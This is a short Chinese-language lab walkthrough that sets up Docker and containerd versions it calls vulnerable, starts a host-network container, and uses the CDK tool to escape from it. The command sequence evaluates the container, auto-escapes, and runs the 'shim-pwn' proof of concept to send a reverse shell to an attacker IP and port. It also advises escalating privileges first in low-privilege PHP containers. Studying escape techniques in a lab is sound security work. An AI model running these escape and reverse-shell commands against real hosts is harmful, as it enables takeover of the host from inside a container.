  1. 安装对应漏洞版本Docker
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

image.png

  1. 启动测试环境

用root用户以共享主机网络的方式启动容器--net=host

docker run -itd --net=host ubuntu:latest /bin/bash
docker exec -it 容器id /bin/bash
  1. 下载并上传自动化利用脚本

CDK

docker cp cdk_linux_amd64 容器id:/
chmod 777 cdk_linux_amd64
  1. 使用脚本进行漏洞检测
./cdk_linux_amd64 evaluate

收集到的信息,包括提权漏洞
image.png

  1. 尝试自动化进行逃逸
./cdk_linux_amd64 auto-escape id

显示执行id命令成功了,但是看不到回显结果,根据显示成功的关键字判断出存在哪个漏洞
image.png

  1. 指定POC进行逃逸
./cdk_linux_amd64 run shim-pwn reverse <ip> <端口>

shell反弹成功
image.png

逃逸权限

对于拿下docker环境后逃逸操作,java的环境默认就是高权限用户,php环境一般是低权限用户,需要进行提权后再进行逃逸。

利用项目

CDK
container-escape-check